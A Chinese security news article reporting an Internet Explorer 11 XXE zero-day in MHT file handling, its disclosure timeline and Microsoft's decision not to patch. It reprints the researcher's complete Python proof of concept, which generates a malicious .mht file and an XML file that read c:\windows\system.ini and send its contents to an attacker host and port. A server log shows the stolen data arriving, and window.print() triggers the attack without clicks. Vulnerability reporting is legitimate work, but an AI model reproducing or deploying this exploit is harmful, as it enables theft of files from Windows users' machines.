高危 0day! 微软拒绝修复,研究员公开 IE 浏览器 0day 详情和 PoC
编译:代码卫士团队
研究人员 John Page 公开了一个可导致黑客从 Windows 系统中窃取文件的 IE 浏览器 0day 漏洞的详情和 PoC 代码。该漏洞为存在于 IE 11 中的XXE 外部实体注入漏洞,存在于 IE 处理 MHT 文件的方式中,影响 Windows 7、10和 Server 2012 R2 版本。
MHT 即“MHTML Web Archive”,是所有 IE 浏览器保持网页(点击 CTRL+S)的默认标准。虽然现代浏览器不再以 MHT 格式保存网页,而是使用标准的 HTML 文件格式,然而很多现代浏览器仍然支持处理该格式。
技术详情
Page 表示,IE 浏览器易受 XML 外部实体攻击,前提是用户在本地打开一个特殊构造的 .MHT 文件。
它可导致远程攻击者窃取本地文件并远程侦察本地安装的程序版本信息。例如,”c:\python27\NEWS.txt” 的请求可访问该程序的版本信息。
本地打开恶意 “.MHT” 文件后,它应该会启动 IE 浏览器。之后,用户交互如重复选项卡 “Ctrl+K”。其它交互如右击网页上的“打印预览”或“打印”命令可能会触发这个 XXE 漏洞。
然而,对 window.print() Javascript 函数的简单调用可在无需用户和网页交互的情况下实施攻击。重要的是,如果文件是从网络以压缩文档的形式下载并使用某种存档使用程序 MOTW 打开的,那么可能就不会起作用。
通常在实例化 ActiveX Objects 如“Microsoft.XMLHTTP”时,用户将会在 IE 中看到安全栏警告并被提示激活被阻止的内容。然而,当打开使用恶意 <xml> 标记打开特殊构造的 .MHT 文件时,用户将无法获得此类活动内容或安全栏警告。
例如:
C:\sec>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /datatears.xml HTTP/1.1" 200 -
127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /?;%20for%2016-bit%20app%20support[386Enh]woafont=dosapp.fonEGA80WOA.FON=EGA80WOA.FONEGA40WOA.FON=EGA40WOA.FONCGA80WOA.FON=CGA80WOA.FONCGA40WOA.FON=CGA40WOA.FON[drivers]wave=mmdrv.dlltimer=timer.drv[mci] HTTP/1.1" 200 -
Page 在安装完整补丁的Win7/10 和 Server 2012 R2上的最新版本 IE 浏览器版本 V11测试成功。
PoC
PoC 视频:https://www.youtube.com/watch?v=fbLNbCjgJeY
窃取 Windows “system.ini” 文件的 PoC 代码如下(注:可根据需要编辑脚本中的攻击者服务器 IP)
(1)使用如下脚本创建“datatears.xml” XML 和嵌入 XXE 的“msie-xxe-0day.mht” MHT 文件
(2)Python –m SimpleHTTPServer
(3)将生成的“datatears.xml”放在 Python 服务器 web-root 中。
(4)打开生成的“msie-xxe-0day.mht”文件,观察文件将被窃取。
#Microsoft Internet Explorer XXE 0day
#Creates malicious XXE .MHT and XML files
#Open the MHT file in MSIE locally, should exfil system.ini
#By hyp3rlinx
#ApparitionSec
ATTACKER_IP="localhost"
PORT="8000"
mht_file=(
'From:\n'
'Subject:\n'
'Date:\n'
'MIME-Version: 1.0\n'
'Content-Type: multipart/related; type="text/html";\n'
'\tboundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"\n'
'This is a multi-part message in MIME format.\n\n\n'
'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001\n'
'Content-Type: text/html; charset="UTF-8"\n'
'Content-Location: main.htm\n\n'
'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/transitional.dtd">\n'
'<html>\n'
'<head>\n'
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\n'
'<title>MSIE XXE 0day</title>\n'
'</head>\n'
'<body>\n'
'<xml>\n'
'<?xml version="1.0" encoding="utf-8"?>\n'
'<!DOCTYPE r [\n'
'<!ELEMENT r ANY >\n'
'<!ENTITY % sp SYSTEM "http://'+str(ATTACKER_IP)+":"+PORT+'/datatears.xml">\n'
'%sp;\n'
'%param1;\n'
']>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'</xml>\n'
'<script>window.print();</script>\n'
'<table cellpadding="0" cellspacing="0" border="0">\n'
'<tr>\n'
'<td class="contentcell-width">\n'
'<h1>MSIE XML External Entity 0day PoC.</h1>\n'
'<h3>Discovery: hyp3rlinx</h3>\n'
'<h3>ApparitionSec</h3>\n'
'</td>\n'
'</tr>\n'
'</table>\n'
'</body>\n'
'</html>\n\n\n'
'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--'
)
xml_file=(
'<!ENTITY % data SYSTEM "c:\windows\system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
'<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
)
def mk_msie_0day_filez(f,p):
f=open(f,"wb")
f.write(p)
f.close()
if __name__ == "__main__":
mk_msie_0day_filez("msie-xxe-0day.mht",mht_file)
mk_msie_0day_filez("datatears.xml",xml_file)
print "Microsoft Internet Explorer XML External Entity 0day PoC."
print "Files msie-xxe-0day.mht and datatears.xml Created!."
print "Discovery: Hyp3rlinx / Apparition Security"
微软拒绝修复
2019年3月27日,Page 将漏洞情况告知微软,当天微软证实问题存在。但4月10日微软回应称,“我们将在未来的产品或服务版本中考虑这个问题的修复方案。目前我们将不会提供该问题修复方案的状态更新进展情况,我们已关闭该案例。”当天,Page 公开漏洞详情。
可能唯一的好消息是,根据 NetMarketShare 的调查显示, IE 浏览器的市场份额已缩水至 7.34%,很少人在使用它。然而,由于 Windows 使用 IE 浏览器作为打开 MHT 文件的默认 app,因此用户不一定必须将 IE 浏览器设置为默认浏览器,但是只要 IE 浏览器存在于用户系统中,那么就仍然可被诱骗打开 MHT 文件。
该 XXE 外部实体漏洞应当获得严肃对待。过去,网络犯罪团伙已经利用 MHT 文件进行鱼叉式钓鱼攻击并传播恶意软件。MHT 文件已成为打包并向用户电脑传播利用代码的流行方式。因为 MHT 格式的文件能够存储恶意代码,因此在打开时应当总是先执行扫描,不管该文件是最近收到的还是已存在数月之久概莫能外。
推荐阅读
原文链接
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-INTERNET-EXPLORER-v11-XML-EXTERNAL-ENTITY-INJECTION-0DAY.txt
https://www.zdnet.com/article/internet-explorer-zero-day-lets-hackers-steal-files-from-windows-pcs/
本文由代码卫士编译,不代表观点,转载请注明“转自代码卫士 www.codesafe.cn”。
代码卫士 (codesafe)
国内首个专注于软件开发安全的产品线。